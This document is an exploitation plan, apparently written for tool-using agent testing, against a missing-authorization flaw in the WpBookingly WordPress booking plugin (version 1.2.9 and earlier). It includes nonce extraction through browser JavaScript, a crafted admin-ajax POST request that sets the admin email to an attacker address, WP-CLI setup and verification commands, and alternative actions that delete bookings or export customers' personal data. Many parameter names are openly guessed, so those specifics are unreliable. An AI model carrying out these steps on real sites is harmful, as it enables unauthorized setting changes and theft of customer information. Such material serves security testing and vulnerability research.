Appointment Booking Plugin for WooCommerce – WpBookingly | All-in-One Service Manager <= 1.2.9 - Missing Authorization

This exploitation research plan targets a Missing Authorization vulnerability in the WpBookingly | All-in-One Service Manager plugin (version <= 1.2.9).

1. Vulnerability Summary

The service-booking-manager plugin (WpBookingly) fails to implement proper capability checks (e.g., current_user_can( 'manage_options' )) on its AJAX administrative functions. While the functions are registered under the wp_ajax_ hook (restricting them to authenticated users), they do not verify if the user has the required administrative privileges. This allows any authenticated user with Author level permissions or higher to perform administrative actions, such as modifying plugin settings or managing bookings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpbookingly_save_settings (Inferred based on standard plugin architecture) or wpbookingly_delete_booking.
• Parameters: action, nonce, and the settings payload (e.g., settings_data).
• Authentication: Authenticated (Author level and above).
• Precondition: The attacker must have a valid session cookie for an Author-level user.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers AJAX handlers in a class (likely WpBookingly_Admin or WpBookingly_Ajax) using:
   add_action( 'wp_ajax_wpbookingly_save_settings', array( $this, 'save_settings' ) );
2. Missing Check: The save_settings function likely verifies a nonce using check_ajax_referer but fails to call current_user_can().
3. Sink: The function processes the $_POST data and calls update_option( 'wpbookingly_settings', ... ).

4. Nonce Acquisition Strategy

The plugin likely enqueues administrative scripts and localizes a nonce for the admin interface. Because the vulnerability specifically mentions Author-level access, it is highly probable that the plugin's menu or scripts are loaded for Authors as well as Admins.

1. Identify Script Localization: Search for wp_localize_script in the plugin source to find the variable name.
2. Target Variable: wpbookingly_admin_params or wpbookingly_obj (Inferred).
3. Key: nonce or security.
4. Acquisition Steps:
   • Create an Author user and log in.
   • Navigate to the WordPress Dashboard (/wp-admin/).
   • Use browser_eval to extract the nonce:
     browser_eval("window.wpbookingly_admin_params?.nonce || window.wpbookingly_obj?.security")

5. Exploitation Strategy

We will attempt to modify the plugin's global settings to demonstrate unauthorized modification.

• Step 1: Log in as an Author user.
• Step 2: Navigate to /wp-admin/ and extract the AJAX nonce.
• Step 3: Construct a malicious POST request to update plugin settings. We will attempt to change a benign but verifiable setting, such as the "Booking Success Message" or "Admin Email".

HTTP Request (via http_request):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpbookingly_save_settings&security=[NONCE]&settings[general][admin_email]=attacker@example.com&settings[general][success_message]=Exploited

(Note: Parameter names like settings[general] are inferred and must be verified against the save_settings function logic.)

6. Test Data Setup

1. Install Plugin: WpBookingly version 1.2.9.
2. Create User:
   wp user create attacker attacker@example.com --role=author --user_pass=password123
3. Plugin Configuration: Ensure the plugin is activated and at least one booking service is created to populate default options.

7. Expected Results

• Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
• State Change: The plugin's settings stored in the database (option: wpbookingly_settings) will be updated with the attacker-supplied values.

8. Verification Steps

After sending the HTTP request, verify the change using WP-CLI:

# Check if the admin email in the plugin settings has been changed
wp option get wpbookingly_settings --format=json | jq '.[general][admin_email]'

If the output is attacker@example.com, the exploitation of the Missing Authorization is confirmed.

9. Alternative Approaches

If wpbookingly_save_settings is not the vulnerable action, investigate the following alternatives:

1. Action: wpbookingly_delete_booking
   • Goal: Unauthorized deletion of customer bookings.
   • Requirement: Identify a valid booking ID (wp_post of type wpbookingly_booking).
2. Action: wpbookingly_export_bookings
   • Goal: Unauthorized data exfiltration of customer details.
   • Target: Sensitive customer PII (names, emails, phone numbers).
3. Nonce Bypass: If check_ajax_referer is missing entirely, the exploit can be performed via CSRF (though the CVE specifically notes authenticated author access, suggesting the nonce might be present but the capability check is not).